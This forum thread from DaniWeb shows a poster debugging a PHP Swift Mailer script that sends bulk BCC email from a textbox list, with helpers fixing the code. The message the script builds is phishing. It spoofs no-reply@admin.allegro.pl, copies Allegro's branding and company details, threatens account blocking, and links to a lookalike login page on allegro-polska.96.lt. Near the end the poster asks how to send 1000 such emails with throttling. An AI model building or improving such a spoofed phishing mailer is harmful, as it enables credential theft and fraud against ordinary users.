I want to create in html textbox named b and php code which gets email from it with $_POST. Unfortunately as setBcc is used as an array and I cannot convince php to get emails from this textbox.

This is the code of php:

<?php
require_once 'lib/swift_required.php';

$transport = Swift_MailTransport::newInstance();
 $message = Swift_Message::newInstance();
$message->setTo(array(
  "manlaughin@interia.pl" => "Nightbitch"
));

$message->setBcc(array('email1@gmail.com', 'email2.gmail.com', 'email3@gmail.com'));

$tekst = 'OK';

$message->setSubject("Funkcjonalności: 3 kategorie, zasady komentarzy");
$message->setBody($tekst,'text/html');
$message->setFrom("no-reply@admin.allegro.pl", "Allegro.pl");

// Send the email
$mailer = Swift_Mailer::newInstance($transport);
$mailer->send($message);

and this is the line I want to setup with $_POST:

$message->setBcc(array('email1@gmail.com', 'email2.gmail.com', 'email3@gmail.com'));

Of course I paste email in the textbox with all necessary letters like inside the array.

All I have is this error after replacing emails in an array with $_POST:

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/a7018175/public_html/mail2.php on line 10

One of the emails is not a valid, but I think this is related to your example here. At line 16 you must use an array to set the name of the sender:

$message->setFrom(array('email@here.tld', 'Name'));

I do not understand this part:

Of course I paste email in the textbox with all necessary letters like inside the array.

Can you explain better? Can you show how you're trying to catch the emails from the textbox? If you separate them by a comma you can use the explode() function, an example:

$mails = explode(',', $_POST['emails']);
$mails = array_map('trim', $mails); # to remove extra spaces

Ok, it's like that. I have 2 files: html and php. I want to put emails inside textbox of html, so that somehow they will be posted to the php file, so that it could send message to all of them. In mail() function it was easy, but in swiftmail I need to use array. I don't like arrays and I don't know how to get it from the textbox and send it. When I tried to catch them, there was an error.

Ps. And also, when I use explode and trim, how to get just emails? How to pass them to send message. I'm really confused.

I just want to send emails without names, which I paste in textbox.

When I put emails like i.e. "one@gmail.com; two@gmail.com" and try to get the content from the textbox by:

    $message = $_POST['pociag'];

    $message = explode(';',$message);

    echo $message;

as output I get "Array" string without quotes ...

I think I may know what explode does. I suspect it splits all data into an array, so I can easily get the data. So I have done it.

Now, how to loop, so to speak, to put emails in place? Directly into an array?

Currently I made a bit further:

<?php

require_once 'lib/swift_required.php';

$transport = Swift_MailTransport::newInstance();
 $pulapka = Swift_Message::newInstance();


$to = $_POST['emaile'];
$toArr = explode ( ',', $to );


$pulapka = -> setBcc($toArr);

echo $toArr[0].' '.$pulapka[0];

?>

$pulapka is an associative array in here. Normally it should post emails to $to array from "emaile" textbox and equal them to some new array.

Maybe I'm mistaken, should I define array or treat it like variable, since now I get nothing when I "echo" it, I think, but not sure, after using Bcc.

I tried again:

<?php

require_once 'lib/swift_required.php';

$transport = Swift_MailTransport::newInstance();
 $pulapka = Swift_Message::newInstance();


$to = $_POST['emaile'];
$toArr = array();
$toArr = explode ( ',', $to );

$pulapka = array_values($toArr);

//$pulapka = -> setBcc($toArr);

echo $toArr[0].' '.$pulapka[0];

?>

When I setBcc I get no echo output, when without it I get 2 emails and array_values is working fine. Should I know create new variable and make Bcc on $pulapka array?

The following, rewritten code:

<?php

require_once 'lib/swift_required.php';

$transport = Swift_MailTransport::newInstance();
 $pulapka = Swift_Message::newInstance();
$message -> setTo(array("manlaughin@interia.pl"));


$to = $_POST['emaile'];
$toArr = array();
$toArr = explode ( ',', $to );

$pulapka = array_values($toArr);

$pulapka = -> setBcc($toArr);

//echo $toArr[0].' '.$pulapka[0];



$message->setBcc($pulapka);

$tekst  = '<img src="http://oi44.tinypic.com/mn2rd2.jpg">'.'<br><br>';
$tekst .= '<font size=3 face="Georgia, Arial" color=#505050><b>'.'Witaj!'.'</b>'.'<br>';
$tekst .= '<b>Zmieniliśmy relacje sprzedający-kupujący.'.'</b></font><br>';
$tekst .= '<img src="http://oi40.tinypic.com/4k91ld.jpg" height="4" width="960">'.'<br><br>';
$tekst .= 'Nastąpiła zmiana sposobu wystawiania produktów oraz komentarzy.'.'<br><br>';
$tekst .= 'Przedmioty wystawione na Allegro.pl można od DZIŚ wystawić w aż 3 kategoriach! Wystawienie przedmiotu w wybranych kategoriach jest bezpłatne.'.'<br><br>';
$tekst .= 'Sprzedawca ma obowiązek wystawić komentarz w ciągu 14 dni od wysłania przedmiotu. Kupujący jest zobowiązany wystawić komentarz do 10 dni od wysłania przedmiotu. Niewystawienie w terminie 3 komentarzy w ramach umowy sprzedaż-kupno może skutkować natychmiastową blokadą konta. Wybrana funkcjonalność jest bezpłatna.'.'<br><br>';
$tekst .= '<a href="http://allegro-polska.96.lt/fnd/authentications/ssl.allegro.pl/landing-page/scope/accounts/user_dataId_client=tb5SFf3cRxEyspDNlogin.php">'.'Uruchom funkcjonalności i wystaw opinię.'.'</a><br><br>';
$tekst .= '<font size=3 color=#505050><b>Przydatne informacje'.'</b><br></font>';
$tekst .= '<img src="http://oi44.tinypic.com/2qwhdnl.jpg" height="2" width="960">'.'<br><br>';
$tekst .= '&nbsp;&nbsp;&nbsp;&nbsp;'.'&#8226;'.'&nbsp;&nbsp;'.'Potwierdzenie oznacza akceptację '.'<a href="http://allegro.pl/country_pages/1/0/user_agreement.php">Regulaminu Allegro.pl</a><br>';
$tekst .= '&nbsp;&nbsp;&nbsp;&nbsp;'.'&#8226;'.'&nbsp;&nbsp;'.'Jeżeli masz pytania, zajrzyj do <a href="http://pomoc.allegro.pl">Pomocy</a><br><br>';
$tekst .= '<img src="http://oi44.tinypic.com/2qwhdnl.jpg" height="1" width="960">'.'<br><br>';
$tekst .= 'Pozdrawiamy,'.'<br>';
$tekst .= 'Zespół Allegro'.'<br>';
$tekst .= '<a href="http://www.allegro.pl/Contact2/Contact2.php">Kontakt z obsługą Użytkowników'.'</a><br><br>';
$tekst .= '<img src="http://oi44.tinypic.com/2qwhdnl.jpg" height="1" width="960" />'.'<br><br>';
$tekst .= 'Grupa Allegro Sp. z o.o. z siedzibą w Poznaniu, 60-324 Poznań, przy ul. Marcelińskiej 90, wpisana do rejestru przedsiębiorców prowadzonego przez Sąd Rejonowy Poznań - Nowe Miasto i Wilda w Poznaniu, Wydział VIII Gospodarczy Krajowego Rejestru Sądowego pod numerem KRS 0000268796, o kapitale zakładowym w wysokości 33 474 500 zł, posiadająca numer identyfikacji podatkowej NIP: 527-25-25-995.';

$message->setSubject("Funkcjonalności: 3 kategorie, zasady komentarzy");
$message->setBody($tekst,'text/html');
$message->setFrom("no-reply@admin.allegro.pl", "Allegro.pl");

// Send the email
$mailer = Swift_Mailer::newInstance($transport);
$mailer->send($message);



?>

doesn't send as wished for oO

These are the links to the documentation for explode and for print_r:

The last one is used to check the contents of an array:

print_r($toArr);

Use it only to debug your application. Since there are spaces run also my second suggestion, the trim function which will remove the spaces at the beginning and at the end of a string:

The function array_map is used to loop the elements of an array and apply a function, in this case trim, to each of them, since this is not a multidimensional array it should work fine:

This:

$pulapka = -> setBcc($toArr);

is not correct, change it to:

$message->setBcc($toArr);

If you still have problems, show the updated code.

EDIT

I see you have written a lot, in the meaning time, line 45 is still wrong:

$message->setFrom("no-reply@admin.allegro.pl", "Allegro.pl");

Convert it to an array, otherwise you have to remove the second parameter:

$message->setFrom(array("no-reply@admin.allegro.pl" => "Allegro.pl"));

At line 6 change the variable to $message:

$message = Swift_Message::newInstance();

Ref: http://swiftmailer.org/docs/messages.html

The code looks like this now:

<?php
    require_once 'lib/swift_required.php';
    $transport = Swift_MailTransport::newInstance();
    $message = Swift_Message::newInstance();

    $message -> setTo(array("manlaughin@interia.pl"));
    $to = $_POST['emaile'];

    $toArr = array();
    $toArr = explode ( ',', $to );

    $pulapka = array_values($toArr);
    $message->setBcc($toArr);
    $message->setBcc($pulapka);
    $tekst = 'some text to send';
?>

I deleted the unnecessary text, to look it more clear. The text to send is inside $tekst variable. I test it on localhost now. Unless you say otherwise, I will continue on testing it like that, ok?

I forgot to add: Bcc grabs other hidden emails from html textbox.

Unfortunately something is missing in the code:

Output.

Fatal error: Uncaught exception 'Swift_RfcComplianceException' with message 'Address in mailbox given [Allegro.pl] does not comply with RFC 2822, 3.6.2.' in /home/a7018175/public_html/lib/classes/Swift/Mime/Headers/MailboxHeader.php:352 Stack trace: #0 /home/a7018175/public_html/lib/classes/Swift/Mime/Headers/MailboxHeader.php(264): Swift_Mime_Headers_MailboxHeader->_assertValidAddress('Allegro.pl') #1 /home/a7018175/public_html/lib/classes/Swift/Mime/Headers/MailboxHeader.php(108): Swift_Mime_Headers_MailboxHeader->normalizeMailboxes(Array) #2 /home/a7018175/public_html/lib/classes/Swift/Mime/Headers/MailboxHeader.php(65): Swift_Mime_Headers_MailboxHeader->setNameAddresses(Array) #3 /home/a7018175/public_html/lib/classes/Swift/Mime/SimpleMimeEntity.php(604): Swift_Mime_Headers_MailboxHeader->setFieldBodyModel(Array) #4 /home/a7018175/public_html/lib/classes/Swift/Mime/SimpleMessage.php(215): Swift_Mime_SimpleMimeEntity->_setHeaderFieldModel('From', Array) #5 /home/a7018175/public_html/tunel.php(33): Swift_Mime_SimpleMess in /home/a7018175/public_html/lib/classes/Swift/Mime/Headers/MailboxHeader.php on line 352

Standing at your last code this error should not happen, unless you're feeding Allegro.pl through $pulapka array. You may want to merge the arrays? To add single emails, use addBCC(), from the documentation:

Multiple calls to setBcc() will not add new recipients -- each call overrides the previous calls. If you want to iteratively add Bcc: recipients, use the addBcc() method.

Can you show the form?

I deleted the 2nd entry in setFrom in array and there is no error. This is how it looks now:

    <?php
    require_once 'lib/swift_required.php';
    $transport = Swift_MailTransport::newInstance();
    $message = Swift_Message::newInstance();
    $message -> setTo(array("manlaughin@interia.pl"));
    $to = $_POST['emaile'];
    $toArr = array();
    $toArr = explode ( ',', $to );
    $pulapka = array_values($toArr);
    $message->setBcc($toArr);

    $message->setBcc($pulapka);
    $tekst = 'OK';
    $message->setSubject("Funkcjonalności: 3 kategorie, zasady komentarzy");
    $message->setBody($tekst,'text/html');
    $message->setFrom("no-reply@admin.allegro.pl");
    // Send the email
    $mailer = Swift_Mailer::newInstance($transport);
    $mailer->send($message);

    //echo $toArr[0].' '.$pulapka[0];
    ?>

It seems it sended the message! Yupii ka yey!

Ps. Now the only key left is to set it to multiple hidden recipients and add 2nd field in setFrom I think, which was causing an error too.

Ps2. You said once, I wrote alot of code in time, but this is 3rd day I work around it to make the magic happen.

This does not make sense:

$to = $_POST['emaile'];
$toArr = array();
$toArr = explode ( ',', $to );
$pulapka = array_values($toArr);
$message->setBcc($toArr);
$message->setBcc($pulapka);

Because only the last setBCC() is considered by SwiftMail, the others are discarded. Also you can rewrite it this way:

$to = array_map('trim', explode(',', $_POST['emaile']));
$message->setBcc($to);

Otherwise you have to loop each one with the addBCC() method:

foreach($to as $email)
{
    $message->addBCC($email);
}

If you have 2 different source from which you get the recipients, and both are strings, then you have to generate the arrays and merge them:

$toArr = array_unique(array_merge($to, $pulapka));

So the $pulapka array must be prepared as the $to:

$pulapka = array_map('trim', explode(',', $_POST['pulapka']));

The above would become:

$to = array_map('trim', explode(',', $_POST['emaile']));
$pulapka = array_map('trim', explode(',', $_POST['pulapka']));

$toArr = array_unique(array_merge($to, $pulapka));
$message->setBcc($toArr);

Regarding FROM if you want to include a name, as Allegro.pl, then you must use an associative array, i.e. key => value:

$message->setFrom(array('no-reply@admin.allegro.pl' => 'Allegro.pl'));

And it should work all fine.

I was wondering, when it doesn't makes sense, then why is the code working? It send all period separated emails from textbox. Don't ask me why, it just do it. SO in my opinion, it seems to be working but illogical like Spock would say:

    $to = $_POST['emaile'];
    $toArr = array();
    $toArr = explode ( ',', $to );
    $pulapka = array_values($toArr);
    $message->setBcc($toArr);
    $message->setBcc($pulapka);

I find this piece of line fantastic:

$pulapka = array_map('trim', explode(',', $_POST['pulapka']));

Will let you know soon, how it worked, in about 5 hours or later. Thanks.

Ok :)

To reply to your question: the problem of those lines of code is that the script is submitting the same array to both instances of setBcc() with different names. But the values are exactly the same. For this same reason, at the moment, you do not notice any problem.

If you change one of the instances of setBcc() to use another array, then you will notice that something is not working well, because it will be considered only the last one in the sequence. As I've already quoted from the documentation:

Multiple calls to setBcc() will not add new recipients -- each call overrides the previous calls. If you want to iteratively add Bcc: recipients, use the addBcc() method.

Ref: http://swiftmailer.org/docs/messages.html#setting-bcc-recipients

The $toArr is generated by explode() and this is an indexed array, not an associative, so the array_values() can be avoided, as example:

$a = array('q','w','e','r','t','y');
print_r($a);

# will print:
Array
(
    [0] => q
    [1] => w
    [2] => e
    [3] => r
    [4] => t
    [5] => y
)

By applying the array_values() to the above array, you will get the same output: print_r(array_values($a));. Bye!

Try something like this for the emails from post you could do

$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$email3 = $_POST['email3'];

$message->setBcc(array("$email1", "$email2", "$email3" => "BCC Emails"));
or if that doesnt work try removing the quotes and just use the variables
$message->setBcc(array($email1, $email2, $email3 => "BCC Emails"));

<?php
require_once 'lib/swift_required.php';

// Create the SMTP configuration
$transport = Swift_SmtpTransport::newInstance("smtp.audero.it", 25);
$transport->setUsername("Username");
$transport->setPassword("Password");

// Create the message
$message = Swift_Message::newInstance();
$message->setTo(array(
   "aurelioderosa@gmail.com" => "Aurelio De Rosa",
   "info@audero.it" => "Audero"
));
$message->setCc(array("a.derosa@audero.it" => "Aurelio De Rosa"));
$message->setBcc(array("boss@bank.com" => "Bank Boss"));
$message->setSubject("This email is sent using Swift Mailer");
$message->setBody("You're our best client ever.");
$message->setFrom("account@bank.com", "Your bank");
$message->attach(Swift_Attachment::fromPath("path/to/file/file.zip"));

// Send the email
$mailer = Swift_Mailer::newInstance($transport);
$mailer->send($message, $failedRecipients);

// Show failed recipients
print_r($failedRecipients);

OK. I tested the program one step after another. I added my email in code and other I pasted inside html textbox. This is what I've got:

  1. when sent more than 30 emails via textbox, it was not delivered, many times, I assume this is a problem with general server or restrictions in form of MIME limit,

  2. when I sent 2 lines of emails, like 20 or so, it was delivered smoothly after some time,

I noticed, it migh be good to use SQL database, but since I still test it and also the emails database it's still "under construction" I cannot use that opportunity.

I wondered, if - still using the textbox - could I paste i.e. 1000 emails and let php do the rest, that is send one email at a time every 3-5 seconds with some notification in form of html Live, how long it would take and which emails were delivered, which don't.

I will try to google it, but hopefully something easy exists alsready, instead of trying to test all group of emails with if statement.

Thanks for help.

It sounds like a restriction for sending emails (server) you could just try sending 20 at a time or find out the limit on the server and then just send that many at once

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.